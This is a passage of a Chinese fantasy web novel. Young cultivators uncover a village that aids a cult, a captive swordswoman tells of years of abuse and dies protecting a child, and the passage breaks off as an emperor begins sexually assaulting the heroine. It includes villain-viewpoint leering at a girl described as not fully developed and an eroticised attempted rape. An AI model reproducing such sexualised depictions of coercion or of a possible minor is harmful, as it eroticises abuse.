那扇窗户的窗纸已经破旧不堪了,很久没有人修理,就在苏潋影和林瑶聊天,其他人累了好几天昏昏欲睡之际,楚纤茉看到了一双发红的眼睛直勾勾地望着自己,黑色的瞳孔贼里贼气地上下转动,仿佛下一秒那双眼球就能从窗纸破损的窟窿里掉下来。
白洛溪已经动手了,不消片时将外面那偷窥的人带了进来,那人约莫三十出头,是个青壮年,身着粗布麻衣,诚惶诚恐地跪在地上,连连作揖道:“几位仙师仙姑,小人刚在外面看到你们施法点火,真是道行高深啊,几位神仙降临我们村,怎么能在祠堂里待着,如果仙人们不嫌弃,请到小人家里去住吧,也算是小人家里沾光了。”
他边说话,眼睛边在林瑶等人身上瞟,尤其是看林瑶的眼神,恨不得将眼珠子抠下来粘人家身上,郁霄似乎有所察觉,不动声色地挡在了林瑶前面,微笑道:“在下是凤城人士郁霄,跟蓝羽村同属一隅,跟几位同窗好友路过此地却逢大雨,既如此多谢老乡盛情邀请,那我们就恭敬不如从命了,请。”
他左手微抬,示意对方带路。
此时雨已经停了,大概是二更天,那村夫提着一盏发白的纸灯笼在前面引路,其他人警惕地跟在后面。
郁霄走在最前面,跟那村夫闲聊,谈笑自若仿佛在跟一个阔别多年的朋友说话。
“老乡贵姓啊?”
那人嘿嘿笑了两声,过分的谦卑就显得有些谄媚:“郁公子客气了,我叫田二,我们这村里啊,好几家都姓田。”
郁霄道:“老乡家里还有什么人啊,我们这一行人贸然过去会不会打扰了?”
田二道:“不打扰不打扰,我家人少,只有我爹娘、我哥田大、我嫂子陈子桁、我、还有我九岁的侄女田翠翠。”
……
“你管这叫家里人少?”苏潋影忍不住追问。
而且总觉得有个地方很违和,你嫂子的名字跟你们一家人比起来显得很是清秀,很是格格不入。
田二笑嘻嘻地回过头瞄了一眼苏潋影,眼神下移落在了她尚未完全发育的胸部,咽了口唾沫,这丫头虽然身材没有那个白衣姑娘好,但脸蛋真是要人命,声线也撩人,一开口蜜里调油跟小猫撒娇似的……
“田叔?”苏潋影一嗓子将正在做梦的田二喊回了神。
“哦哦,姑娘有所不知啊,我们村人口繁多,像村长家,有二十七个人呢,光半大的孩子就十四个,我家这情况已经算是人丁稀少了。”
十四个?苏潋影感觉常识被狠狠地颠覆了,她家一共就两个女儿她娘还天天嚷着生多了,当然她是多余的那个……但是这个村子也太离谱了吧!
十四个,孩子喊一声妈我得回头排查半天到底是谁叫的……
郁霄的面色越发阴翳,但依旧笑问:“村里生齿日繁,不知何以为继?”
田二显得有些纳闷,但还是回答道:“娶老婆不就是为了生娃嘛,娃多了才好下地劳作、放牛放羊,这村里也就我嫂子肚皮不争气,过门五年了儿子都没生一个……”
田二似乎意识到自己说的太多了,连忙赔笑道:“瞧我,扯这些老婆舌做什么,前面就到我家了,快请进。”
田家跟这村里大多数人家一样,是独立的大院子,有正屋、左右厢房,厨房、仓库。
此时村里也就他家灯火通明,进门时拴在门口的黄狗狂吠不止吓了楚纤茉一跳,那狗似乎想在主人面前立功,冲着一群陌生人跳着脚地吼、转着圈地叫,田二脱了鞋刚举起来这位威风凛凛的家将就夹着尾巴顺着篱笆墙挨进了一只破木箱子里。
楚纤茉捂着自己的胸口被苏潋影拉着进了屋子里,见到了所谓的田老头、田老太太以及陈子桁和田翠翠。
这陈子桁的确有些与众不同,一头乌发在脖颈后打了个结绾成低垂髻,没有任何首饰,一袭青灰色的长衫洗得有些发白了,罩着高挑纤细的身姿宛如寒竹独立,淡淡的没有一丝热乎气,说是人看着更像一个女鬼。
大家见过面,道了叨扰,陈子桁和田翠翠去了厨房,不一会儿端上来了热气腾腾的饭菜。
中间是大盘鸡,色泽金黄,香气四溢,土豆煮得软烂,黄灿灿略带焦边的花卷儿半浸在浓稠的汤汁里令人垂涎欲滴,围绕着大盘鸡的是四碟子农家小菜,什么酸菜粉条、麻婆豆腐、腌萝卜和凉拌丝瓜。
陈子桁先替客人盛了白米饭,给郁霄和白洛溪放在了手边,给林瑶等人递到了手里,轮到苏潋影时,她冲陈子桁一笑,道了声谢,然后就感觉米饭碗底似乎有什么东西,好像是一张纸条。
陈子桁给所有人盛完饭就带着田翠翠离开了,苏潋影注视着她离去的身影,心里纳罕。
太奇怪了,陈子桁的一举一动、走路姿势、还有那种淡漠如霜的眼神,都不像是一个乡间农女,甚至说是书香门第都不能够,在她身上,苏潋影能感觉到一种很熟悉的气息。
修士,陈子桁八成是一个修士,或者曾经是。
苏潋影手一颤,差点没端稳手里的饭碗,饭桌上田家三口和蔼可亲的面容在她眼里瞬间阴邪狡诈了起来。
这到底是个什么样的村子,用了什么手段把一个修士困在了这里?
无论田家三口怎么劝,苏潋影等人始终没有动中间的鸡肉,手里死死捏着陈子桁给的纸条,直到一顿饭毕,纸条被汗水打湿。
田二眉间一股阴郁之气,但看向客人时还是堆着笑:“几位早些休息吧,我家就三间能住人的屋子,但是爹妈年纪大了和其他人睡不习惯,让翠翠和我爹妈睡,郁公子、白公子和我、还有我哥睡东厢房,三位姑娘和我嫂子睡西厢房。”
这个安排看似很合理。
郁霄拱手道谢:“那就叨扰了,田兄请。”
农家基本不睡床,而是盘的土炕,几乎占了屋子的三分之一。
苏潋影看了这能睡下三四个人的、据说叫做炕的东西才茅塞顿开。
“我说嘛,床上撑死也就睡两个人,我还以为要给我塞柜子里呢。”
她脑子里是没有打地铺这个概念的,但记得小时候经常跟小丫鬟们玩捉迷藏,她就喜欢躲柜子里,躲着躲着就睡着了。
陈子桁正在铺床,将田大躺过的被褥一股脑儿卷起来搁在了柜子上,然后重新铺了崭新的被褥,语气淡淡地招呼林瑶等人上来休息。
她又下去插上了门闩,推过去衣柜挡住了门,熄了灯才爬上炕。
陈子桁睡在最外面、她旁边是苏潋影、然后是楚纤茉、最后是林瑶。
一片漆黑的屋子里勉强能视物,没有人说话,只剩下轻轻的呼吸声,苏潋影侧头看向旁边的陈子桁,她枕着自己的右胳膊,纤薄的背对着自己。
苏潋影轻声道:“陈姐姐,你睡了吗?”
“没有。”
隔了一会儿陈子桁才应了一声,依旧是不冷不热,仿佛一具会喘气的尸体。
苏潋影绞尽脑汁想措辞,不知道该怎么开口,忽然听陈子桁道:“想问什么快问吧,不然没时间了。”
苏潋影咽了一口唾沫,一股凉意从脚底蔓延至全身。
陈子桁道:“你们最好别闭眼,我不知道他们会不会今晚动手,至于你们那两个朋友,看造化吧。”
苏潋影深吸一口气,艰难地开口:“陈姐姐,你不是本地人吧?”
“你看出来了?”
陈子桁很是平静,声音轻的仿佛一股风,诉说着属于自己的故事,一段阴暗、恐怖、令人窒息的故事。
“知道青澜宗吗?”
她自顾自地往下讲:“五年前,我和师弟师妹们奉师父之命调查潜藏在蓝羽村的邪教血衣教,当时也是田家接待了我们,他们很热情,邀请
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我们一行人去家里吃饭,晚上我和田母睡在一起,后半夜,我听见身边的老夫人悄悄下了床,本以为是老人家起夜,没想到窗外传来了说话声,说什么睡熟了,可以动手,我本来有机会逃出去的,但是师弟师妹们还在他们手上,我折返回去救人,落入了早就埋伏在田家的血衣邪教手里,我给师弟师妹们断后,可是血衣教教众越来越多、越来越多,我战至力竭,手上满是自己的血,连剑都握不住,他们挑断了我的灵脉、挖了我的金丹、吸取了我所有的灵力,将毫无反抗之力的我丢在了田家。”
苏潋影屏住了呼吸,似乎不喘气那可怕的事情就不会发生。
陈子桁说到这里顿住了许久,再开口时声音轻轻颤了一下:“至此我才明白,整个蓝羽村不是邪教掌控下的受害者,而是帮凶,村民负责欺骗来此地的外乡人,给血衣教通风报信,而血衣教也会给他们一定的甜头,比如我……五年来,我尝试过无数种方法,我也试着想帮那些跟我一样弥足深陷的女子逃出去,可是某一次逃跑失败,她们把我供了出来,我被田家人吊在树上好几个时辰,后来田大在我脚下挖了坑要活埋我,让我死了也逃不出田家,他往我身上盖土,几乎埋到了我的脖子,是翠翠救了我,她躺在了我旁边,让我别害怕,田大只有这么一个女儿,他还是住手了。”
苏潋影哽咽到说不出话来,眼泪止不住地往下流,她不明白为什么老天对这么善良的女子要如此残忍,她本来拥有大好的前途,却要生生被困在这样一个恶心肮脏的地方,求生不得求死不能……
楚纤茉颤声问道:“可你的师弟师妹们逃出去了啊,他们没有回来救你吗?”
黑暗中,陈子桁的声音依旧那么平静,仿佛一湖死水:“我不知道,或许他们根本没逃出蓝羽村,又或许……”
她没有再说下去,但所有人都猜到了。
一个再也不能修行的废物,一个失身给山野村夫令宗门蒙羞的弟子,还有救回来的必要吗?
林瑶沉闷的声音响起:“翠翠是……”
陈子桁道:“翠翠不是我的女儿,她娘亲已经去世了,但是翠翠一直都很向着我,我害怕田大,害怕他晚上喝得醉醺醺的回来找我,翠翠就一直闹着要跟我睡,一次又一次从田大手里救了我,如果不是她,我恐怕已经被田家人折磨疯了。”
正说到这里,窗户忽然被轻轻地叩了三下。
众人心里皆是咯噔一下。
陈子桁轻轻“嘘”了一声,示意其他人不要说话,她轻轻下了床走至窗边,也轻轻叩了三下窗,外面传来一声小猫叫。
陈子桁艰难地将挡在窗台上的杂物挪开,打开了小窗,一个小小的黑影灵巧地撑着窗台翻了进来,小声道:“阿娘,我看到爹出门了。”
陈子桁一向平静的面色忽然慌乱起来,转身道:“你们现在赶紧走,他去找血衣教了,你们从后门走,千万不要动用灵力,之前就是因为你们用了灵力才引起了血衣教的注意,至于你们那两个朋友,我和翠翠再想办法搭救。”
陈子桁带着林瑶一行人绕过西厢房到了后院,没想到那条凶恶的黄狗被栓在了门把手上,此时黄狗似乎已经听到了动静,本来低垂的耳朵刷一下竖了起来,众人齐齐顿住,离后门只有咫尺之遥却只能望而却步。
翠翠低声道:“让我去,大黄听我的话。”
陈子桁点点头,递给翠翠一块手帕,低声道:“去把它的鼻子捂住。”
“晓得了。”
翠翠轻手轻脚走过去,蹲下来低声哄着黄狗,一只手不停地给它顺毛,另一只手拿下了缠在门把手上的铁链,用手帕捂住了黄狗的鼻子。
陈子桁松了一口气,招招手示意三人跟她走,众人皆是满头虚汗,岂料陈子桁刚打开门脚步就僵住了。
门外被密匝匝的人墙围得水泄不通,赫然是一群血衣教修士以及脸色阴沉的田大。
35. 杜鹃啼血,虔送子桁
血衣教几乎将整个田家围了起来,他们全部身着红衣,脸上戴着惨白的面具,面具眼睛的部分是两个深不见底的黑洞,这些人仿佛一群正在凝视着他们的幽灵。
林瑶迅速拔下发间的簪中刺抵在了陈子桁脖子上,冷声喝令田大:“让我们过去,不然我杀了她!”
田大见状目眦欲裂,眼球充血,如同一只被激怒的野兽:“放开小桁!不然我要你们好看!”
一个血衣教教徒冷笑道:“蠢货,你难道看不出来吗,你女人和孩子分明是在帮这群修士逃跑。”
那人上前来拍了拍田大的肩膀:“等我们抓住这三个女修,吸干了她们的灵力,到时候人都是你们兄弟的。”
田大看着面无表情的陈子桁,垂下的拳头缓缓攥紧,低声道:“言灵大人,可是小桁……”
“废话少说,上!”
言灵一声令下,其余人立刻亮出法器,皆是雪亮的子午鸳鸯钺,刹那之间就冲了上来将三人团团围住,林瑶一把将陈子桁推给了楚纤茉,她和苏潋影两人各亮法器,背靠着背警惕地与血衣教众对持。
言灵不屑冷笑:“我当多厉害,一个一阶慕雅、一个才入门,也就手里的法器还值得我们动手。”
他瞥向旁边的陈子桁,语气极为讽刺,扬着下巴仿佛在看一只任人宰割的羔羊:“陈子桁,如果我没记错的话,当初你可是三阶行渊啊,足足比这个白衣女修高了两个境界,结果还不是败在了我们手里,啧啧啧,堂堂青澜宗主的关门弟子,只能躺在一个山野村夫身下摇尾乞怜——”
“住口!”
苏潋影一鞭子甩了过去,这人眼神一凛,抬手抓住了她的鞭梢狠狠一扯,苏潋影整个人被甩飞了出去。
言灵抬脚将还没来得及爬起来的苏潋影又狠狠踩了下去,拿盘起来的鞭子挑起她的下颌:“法器不错,就是用得乱七八糟,不如让我来教教你,鞭子是这么用的——”
他劈手狠狠一挥,玉骨鞭如同蜿蜒扭动的灵蛇向不远处的林瑶砸去,林瑶一手举着魂灯,另一手变换了好几个手势,魂灯忽然紫芒大盛,言灵闭了一下眼睛,只这一下林瑶从他眼前消失了,言灵迅速转身锁定了方位,一丝冷笑从面具下溢出:“想布星辰阵?你这速度还不够!”
玉骨鞭倾刻之间缠住了林瑶的脚腕,言灵半蹲身借力向后一甩,林瑶整个人被甩出去撞在了土坯墙上,随后狠狠摔在地上,嘴里满是鲜血,掉在不远处的魂灯让言灵用鞭子勾到了手里,提到眼前细细观赏一阵,语气中的嫉妒与贪婪再也掩藏不住:“还是个无相灵宝,随心化形,你这种废物也配……真是老天不公啊。”
苏潋影被踩得上不来气,口溢鲜血,断断续续地呻吟着:“白洛溪别睡了……救命啊……”
言灵冷笑道:“喊吧,喊破喉咙也没人来救你。”
刚说着一道水柱自田宅屋顶上射出,直击他胸口,言灵眼疾手快地向侧边一跳,定睛一看,眼前是一个白衣白发的男子,眸中隐隐透出绿芒,言灵愣了一瞬,随即狂笑出声:“我当谁呢,这不是被妖王流放的那个废物吗?怎么,在妖界混不下去了,就开始当人族的走狗了?嗯?居然跟条狗一样任由一个丫头片子呼来喝去,真是丢尽了你爹的颜面!我要是你,我早就自绝经脉、了却残生了。”
苏潋影气得七窍生烟,擦了一把嘴上的血从地上爬起来,丝毫不畏惧地盯着言灵:“像你这种人,也就只能靠拉踩别人找优越感了,说我们废物,你自己还不是一样废物,靠吸取别人的灵力修行,跟寄生虫有什么区别?还戴个面具,你也觉得自己没脸见人啊?”
言灵手背上、脖颈上青筋暴起,继而狂笑不止,鞭子径直甩向白洛溪的同时,戴着面具的脸阴恻恻看向苏潋影。
“死丫头,我会让你比陈子桁还惨上一万倍!哈哈哈哈哈哈哈哈哈哈……到时候看你还能不能这么硬气!”
苏潋影咬紧嘴唇,气得浑身颤抖:“只会这些下三滥的手段,你不得好死!”
“小桁!”
“阿娘!”
忽然之间,纷乱的厮杀声中,一个尖锐绝望的男人嘶吼声穿破人群,苏潋影怔怔地望过去,陈子桁抱着翠翠倒在了血泊里,田大如同发疯的野兽般冲向了其中一个血衣教众,被对方一脚踹倒在地,那人似乎被这个山野村夫气疯了,不停地咒骂道:“真是一条疯狗,都说了等我们办完事那三个女修归你了,有病啊这么护着这婆娘!”
原来不久前,趁着言灵和白洛溪纠缠,陈子桁想带着林瑶和楚纤茉偷偷离开被血衣教众发现了,血衣教众才不管谁是谁,杀红了眼居然连翠翠都下得去手,陈子桁本能地挡在了翠翠前面,脖颈上被子午鸳鸯钺豁开了一道口子,血洒如练。
躺在地上的田大忽然咧嘴笑了起来,蹦起来癫狂地朝一个方向跑去。
言灵反应过来急忙喝道:“拦住他!”
匹夫之怒,却也无法阻挡,田大不知道哪来那么快的速度,即使被言灵飞出去的一只子午鸳鸯钺击中了后背,身体晃悠了一下,依旧踉踉跄跄往前面跑,如飞蛾扑火般倒在了不远处的一座三青鸟祭坛上。
轰隆一声,西山上爆发出一阵火光,大火熊熊燃起,如同长夜将明。
那是,血衣教总舵。
怎么回事?
在场除了血衣教教众几乎所有人都发出了同样的疑问。
言灵的双眸中映着西山上的火光,他的脑海里仿佛也有一团火焰炸开,膝盖一软险些跪倒在地。
“不可能!这不可能!”
他像一只发狂的疯狗般冲向苏潋影,单手遏住她的脖颈,将她整个人提了起来,沙哑的声音如同破音的笛子:“说!你们的人都在这里,而且那杂碎只是炸了我们一个灵坛而已,为什么总舵会被炸毁?”
苏潋影艰难地在言灵手里挣扎,破碎的音节从喉咙里溢出:“我……真的……不知道……”
“放开她!”
白洛溪眼见苏潋影的脸涨得越来越红,几乎是瞬间冲了过去,然后,他还没来得及出手,言灵忽然之间像被什么东西击中了似的身子向后仰倒,手一松苏潋影跌坐在地,她连滚带爬远离了危险地带,回眸看去,只见言灵倒在地上抽搐了几下,似乎已经失去了战斗力,她松了口气,转而连忙去看陈子桁。
翠翠仰头大张着嘴巴,脸上满是交错的泪痕,她抱着陈子桁,用自己的上衣死死捂住她不停往外面喷血的脖颈,翠翠似乎是想大哭大喊,但是除了之前喊出的一声“阿娘”,她已经发不出任何声音了,脸涨得通红,似乎喘不上气来,看着随时要窒息。
啪——有人在翠翠背上不轻不重地拍了一巴掌,翠翠被拍得一弯腰,哇的一声吐出了一口血。
苏潋影原本以为是白洛溪,但顺着对方一尘不染的白衣下摆往上看去,出现在她眼前的是一张陌生的脸和墨色的长发。
是这个人炸了血衣教总舵,救了翠翠。
苏潋影想也没想抓住了他的白衣下摆,急切道:“求你救救她!”
她说的自然是陈子桁。
那白衣人轻轻摇头,薄唇轻启说了两个字:“节哀。”
苏潋影抓着那人衣摆的手缓缓垂落,几乎是扑到了陈子桁面前,眼泪一滴滴砸到了陈子桁溅了一大片血污的脸上。
陈子桁缓缓睁开了眼睛,艰难地抬手想替翠翠擦去眼泪,却根本做不到,生命正在从她的身体里渐渐流失。恍惚之间她似乎回到了五年前,回到了羲和洲青澜宗,在夕阳下舞剑如游龙,抬手接落花,恍然回眸,梨花古树下有人正襟危坐,素手拨弄琴弦,含霜映雪的眸子也正巧望向她,唇瓣微微张合,似乎是在唤她的名字……子桁。
一把窄刃长剑被轻轻放在了陈子桁手里,剑似乎感受到了主人的气息,发出了微弱的震颤,将剑刃从剑鞘里震出了三寸,可以看到靠近剑柄处刻着“秋澜”二字。
那白衣人将秋澜剑放在陈子桁手里便起身退开了,语调无波无澜道:“这些年你不停往外面传送关于血衣教的情报,虽然没有顺利传到青澜宗,但是我顺着这些线索成功找到了血衣教的总舵,多谢。”
陈子桁轻轻地笑了一下,这是苏潋影第一次见她笑,她的喉咙被割断了,发不出声音,靠在翠翠怀里,艰难地侧头看向苏潋影,将身边的秋澜剑轻轻推向她,目视着羲和洲的方向。
苏潋影紧紧握住了她的手,哭得语无伦次:“我知道……我知道你想回家,放心,我一定带你回去……”
明明只差一点,就只差一点点,这个困在地狱里五年之久的姑娘就可以获得自由了,可是为什么老天要这么残忍,她受了这么多苦,为什么最后什么都得不到?为什么死都要死在这个令她痛苦的地方?
楚纤茉抱着晕厥过去的翠翠,两只眼睛通红,默默无声地流着眼泪。
郁霄刚解除迷香,揉着眉心听苏潋影讲述刚才发生过的事情,一脸懊恼与自责,若非他中了田家人的迷香,也不至于让其他四个人险些丧命。
林瑶受伤不轻,此时正在盘膝打坐,脸色十分苍白,唇角还带着血迹。
白洛溪靠着一棵树,眸光看向替陈子桁整理仪容的苏潋影,不知在想些什么。
苏潋影将陈子桁的手交叠放在小腹前,轻轻说了声“再见”,刚想拿起火把,恍然间又记起来什么,从身上东翻
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西找找出了一颗留影石,将陈子桁的模样永远留在了这颗灵石里,珍重地交给了翠翠。
火光四起,陈子桁的身体被大火吞噬,从衣角到发丝,整个人仿佛躺在火红的花海里,看到她的皮肤寸寸被火舌舔舐,苏潋影不由自主地向前伸手,似乎想去感受一下这灼热的温度,这样离去会很疼吧,可是陈子桁想要离开,不想长眠于这罪恶的土地里。
哗然间,陈子桁的尸体真的化作了血红的花瓣,花瓣边缘被火焰灼烧着,被热浪不断从火堆上吹起,如同一只只□□湮灭的蝴蝶,被风带着四散飘零。
翠翠捧着那颗留影石,呜呜地哭出了声,脑袋埋进了楚纤茉怀里:“阿娘是仙女,她变成仙女飞走了对不对?可是为什么不带上翠翠?””
楚纤茉抱着翠翠,泪珠大颗大颗地滚落,无声地重复着她的话:“是啊,陈姑娘她变成仙女飞走了……”
轻轻摸摸翠翠的头:“以后她会来接你的。”
苏潋影的手指快要触碰到火焰时,被一个人紧紧握住了,是那个救了他们所有人的陌生人。
他攥着苏潋影的手,直到火焰熄灭,眼前再也没有了陈子桁,只剩下一堆灰烬,以及灰烬里一条发带粗细的色彩迷蒙的纱绫。
“那是什么?”
苏潋影轻轻问了一句,她也不知道自己在问谁,或许本来也没想问出答案。
但是身边的人回答了,他轻轻松开苏潋影的手,罕见地说了一长句话:“织霞衣,一件低阶法宝,没什么大用,一般用来给修为低下的仙门女弟子防身。”
苏潋影想起来了,那是她小时候,九洲有个垃圾门派绮罗门,其门徒经常诱骗抓捕一些其他门派的漂亮女弟子做炉鼎,然后不知哪个大门派的天才小师妹就研制出了织霞衣大肆出售,发了一笔横财的同时还顺手灭了绮罗门。
苏潋影盯着那条织霞衣,紧咬牙关,眸光冷冽地瞥向不远处脑袋撞在祭坛上头破血流的田大。
言灵当初缴了陈子桁的仙剑和各种法器,挖她金丹断她仙脉,一时脑袋发热也没有发现陈子桁身上还有一件低阶法宝织霞衣,又或许连陈子桁自己都忘了她还有这件东西,一件从小带在身上,可以保住她最后一丝尊严的东西。
而田大这个畜牲!分明近不了陈子桁的身却编造谎言将她困在蓝羽村五年之久!
可悲的是陈子桁自己也信了,她是名门仙姝,太上忘情心如明镜,不谙男女之事,被恐惧攫住心神自然是别人说什么她信什么。
苏潋影缓缓跪在地上,将陈子桁的骨灰连同那件织霞衣一起收敛进一个小瓷盒里,小心翼翼地贴身放好。
脸颊感受到了微风拂过的搔痒,苏潋影一转身,那白衣人已经走出了一段距离了。
苏潋影连忙问道:“敢问高人尊姓大名!”
那人脚步一顿,似乎是思索了一会儿,随后说了三个字。
“林火火。”
一听就是假名!敷衍至极!苏潋影无语半刻碎碎念道:“……高人这名字蛮有趣啊,就是容易化为灰烬。”
这位叫做林火火的高人押着血衣教教主和长老言灵离开了,两指夹着一枚莲花状的玉佩似乎在跟谁说话。
“招新弟子喊我作甚,我又不是掌门……扣就扣呗,反正我的月薪已经扣到两百年后了,我不一定活到那个时候,光脚的岂怕你们穿鞋的……呃,掌门也在啊……我马上回来!”
“铲除了血衣教,蓝羽村可以太平一段时日了。”
郁霄站在村口百感交集地望着炊烟袅袅的村子,此时天蒙蒙亮,西山的大火也被白洛溪引洛河水浇灭了,一切似乎都已尘埃落定。
苏潋影低下头,双手轻轻抚摸着陈子桁的骨灰盒,她身后背着那把秋澜剑。
郁霄垂眸望向她,抬手轻轻拍了拍她的肩膀,仿佛在嘱咐自己的妹妹那样温声道:“此去山高路远,不可再莽撞行事,”
说着他拿出一块雕刻着凤凰的玉佩递给苏潋影:“拿好别弄丢了,到了秦川这个或许能派上用场。”
苏潋影轻轻抬眸,看着郁霄俊雅清贵的面容,不知该说些什么好:“那你呢,有什么打算?”
郁霄的目光落在了蓝羽村上方,黑眸里映出苍茫的山林,他的声音虽轻但掷地有声:“回凤城后我会派一批官员以及教书先生长驻此地,为孩童开蒙,为蓝羽村修建能够通往雁回城的桥梁,盼此地能够早些与外界相融,或许如陈子桁这般悲剧就不会再发生。”
“我相信你!加油,凤城世子!”
郁霄看着她大大的眼睛莞尔一笑,朝她挥挥手:“你也是,加油,苏苏女侠,青山不改,有缘再会。”
36. 祸国妖道
林瑶本打算随苏潋影一起去羲和洲,但一来伤势未愈、二来她刚听说宫里出事了,皇后产下怪胎被打入天牢,林瑶不听则已,一听差点晕厥过去,无论如何她都该回去一趟了,纵然,尹星灯不会轻易放过她。
与苏潋影一行人在渡口分别,林瑶北上回玄都,苏潋影和楚纤茉出了蓝羽村一路向西,开始了未知的旅程。
过了这么长时间,说不定师父已经想开了!林瑶这么安慰自己。
骑着白马一路飞驰,随手给自己卜了一卦,刚开始还抱有幻想……如果师父已经气消了,并且有意与我继续师慈徒孝,彻底忘记那件不愉快的事情,那么就让我在巳时前赶到下一个村镇叭!
然后,就没有什么然后了,下雨了,整整三个时辰的暴雨,电闪雷鸣,等风停了雨住了,走出草庙一看,连路都塌了……
这是不是有点太魔幻了?
林瑶再也不敢轻易给自己占卜了。
且说玄都,早已经变了天,宫里更是人心惶惶。
皇后已经疯了,她不知道自己的孩子为什么会是那副怪模样,据说那皇子身上都是鳞片,眼睛又细又长发着绿光。
林瑶赶到天牢时看到的就是这幅场景,皇后依旧穿着家常的服饰,但是面容憔悴不堪,呆呆地缩在墙角扣着指甲,十指指缝里都是干涸的血迹,她仿佛没有知觉,依旧不停往下剥自己三寸长的指甲。
林瑶站在栏杆外,瞧见这一幕瞳孔骤缩,喉咙里发出嘶哑的音节:“让我进去……”
守牢的金甲武士面露难色,向林瑶拱手:“林姑娘,陛下有令——”
林瑶侧目看向金甲武士,瞳孔里满是昼夜兼程后的血丝,脸颊苍白到似乎下一秒就会晕过去,却咬牙一字一顿道:“开门。”
林瑶那张脸明明看起来没有什么威慑力,金甲武士却浑身一震,稀里糊涂地从一堆钥匙里找到自己需要的,打开了牢门。
“谢谢……”林瑶抹了一把眼泪,迈步进了天牢,明明从蓝羽村到玄都,这一路上她的脚步从不曾停歇,用尽全力地跑,可是那人近在眼前了,她却不敢轻易上前,可是牢门到墙角的距离就那么几步,她脚下一个踉跄已经跪在了皇后面前,入目是一片血色,她甚至还穿着生产时的血衣……
林瑶强行镇定下来,双手紧紧握住了皇后的手腕,阻止她继续自残,哑声唤她:“长姐……瑶儿回来了,别怕,有我在,不会让你有事的……”
“瑶儿……瑶儿!”
皇后仿佛从噩梦中惊醒一般,原本佝偻着的身子忽然弹直,几乎是掐住了林瑶的肩膀,双目血灌瞳仁,尖锐的嗓音震得林瑶的耳朵嗡嗡作响。
“瑶儿,救救我的孩子!救救我的孩子!他不是妖怪,千错万错都是我的错,你去求求陛下,饶了我的孩子,你去求求陛下……”
这是她温婉善良的长姐啊,连一只蚂蚁也舍不得踩死,十七岁嫁给墨玉沉,无怨无悔,打理六宫,除了新婚的三个月,墨玉沉再也不到她的宫苑里去,但她从来都是不争不抢,甚至帮着其他妃嫔照顾她们的孩子……结果就这么不明不白地被折磨成了这副模样!
“好,我去……我这就去!”她几乎咬碎银牙。
林瑶双眸赤红地站了起来,转头看向那个金甲侍卫,语调平静到没有任何情绪:“照顾好娘娘,我去去就回。”
她不待那人答复,疾步出了天牢,脚下生风一路畅通无阻到了后宫,伸手拦住了一个宫女:“陛下何在?”
那小宫女曾经在宫宴上见过林瑶,知道这是皇姨,虽然现在皇后出事了,但小宫女也不是那种见风使舵的人,正巧她也知道皇帝陛下就在自家主子宫里,于是乖乖回答了林瑶的问题。
林瑶一点头,提脚便走,临到玉和宫门口抬头看了一眼那牌匾,手中白光乍现,提在手里的却不是之前那盏魂灯,而是一把雪亮的三尺长剑,吓退了一干忙着侍奉的宫女太监,玉和宫里满是惊惶恐惧的尖叫声,碗碟落地的刺耳碎裂声,惊动了内殿里的帝王与何嫔。
何嫔原本坐在墨玉沉腿上,此时看见林瑶带着利器闯入宫殿吓得尖叫不止一屁股坐到了地上,见林瑶直直盯着墨玉沉,她这才哆哆嗦嗦爬起来躲在墨玉沉身后,颤声呼救,墨玉沉却微微抬手制止,眸光微含笑意看着林瑶,安抚何嫔道:“爱妃莫要惊慌,一个小丫头能掀起什么风浪,先去偏殿休息。”
林瑶面如九秋霜,手中长剑直指墨玉沉,垫步一跃一言不发刺向他面门,墨玉沉依旧坐在宝座之上稳如泰山,眼见剑风刺破空气,墨玉沉额前的发丝尽数被冰冷的剑气裹挟着向耳后飘去,剑尖在他左边瞳孔迅速放大,似乎下一秒就能穿透他的眼球,但墨玉沉的眼皮都没有眨一下,抬手仅用两指就截住了锋利的剑刃,剑尖卡在离他眼睛半寸处动弹不得,他盯着林瑶的脸,笑意在他脸上渐渐绽开,如同一匹饿狼终于等到了垂涎已久的兔子,他的手臂上有墨绿色的鳞片在迅速生长,眨眼间从手背蔓延至整只左手,仿佛一只坚不可摧的手套,他攥住了剑刃狠狠往前一拽,林瑶没来得及撒手就被他扯到近前,肩膀被墨玉沉一条胳膊死死禁锢在他怀里,手腕、下骸骨同时被一股剧痛攫住,林瑶手中长剑哐当一声掉在了地上,又化作了一盏魂灯,魂灯里的火焰摇摇摆摆、将熄不熄。
墨玉沉单手抓着林瑶纤细的双手手腕,另一只手捏住了她的下巴迫使她看向自己,贪婪的目光仿佛无底黑洞,下一秒似乎就要将林瑶整个吞没。
这个月里姮娥、昆仑神女一样清艳冷漠的女子,就像一块晶莹的寒冰、一块无暇的白璧,连发丝都散发出拒人千里之外的冷淡气息。
“这可是你自己送上门来的……”墨玉沉轻轻抚摸着她的脸,享受般感受着她在自己怀里的颤抖:“瞧你,大热天的还穿得层层叠叠,都出汗了,难怪素称柳下惠的国师都为你神魂颠倒,瑶儿的确很吸引人,像禁坐高台的神明,不知撕碎你这副假正经的外壳,内里是什么样的?”
伸手去擦拭她额角的汗水,被林瑶甩头避开,美眸中的厌恶如火焰腾起:“无耻之徒!”
墨玉沉也不恼,欣赏着她对自己的憎恨,甚至说是恶心,这种像是看狗屎一样的表情,这种高贵不可侵犯的姿态,让他全身肌肤都干渴燥热起来了。
他将林瑶压在雕花墙壁上,欣赏着她狼狈不堪的、挣扎的模样,腹部似乎有一团邪火在灼烧着肠肚和血液,但林瑶这样的女子,几乎就是一件精雕细琢、完美无瑕的瓷器,只能打碎一次,所以这个过程他得慢慢来,就像对一块精致的点心就得细细品尝是一个道理,只这一次,估计林瑶就直接含恨自尽了,据说这女人洁癖得厉害,见不得一点脏东西,那如果是自己脏了呢?岂不是会发疯?哈哈哈哈哈哈哈哈哈哈……
“你最好给孤识相点!孤可不是你那孬种师父,天天把你当菩萨供着!”
他按住林瑶奋力挣扎的娇躯,一手顺着她纤细雪白的脖颈往下滑去,半个手掌探入了她衣领里……砰!一声巨响,门板被人一脚踹开,一个清冷中带着滔天怒意的声音炸响在墨玉沉耳边。
“陛下,她是臣的徒弟!!!”
墨玉沉轻轻啧了一声,侧目看向那打扰自己兴致的不速之客,轻描淡写地解释道:“国师,你这徒弟手持利器,意欲行刺孤王——”
他一手将挣扎着的林瑶死死禁锢在怀里,一手捏住她的下巴,目视尹星灯,满是挑衅地去咬林瑶的耳垂:“所以,孤王要治她个大不敬之罪,国师还是先——”
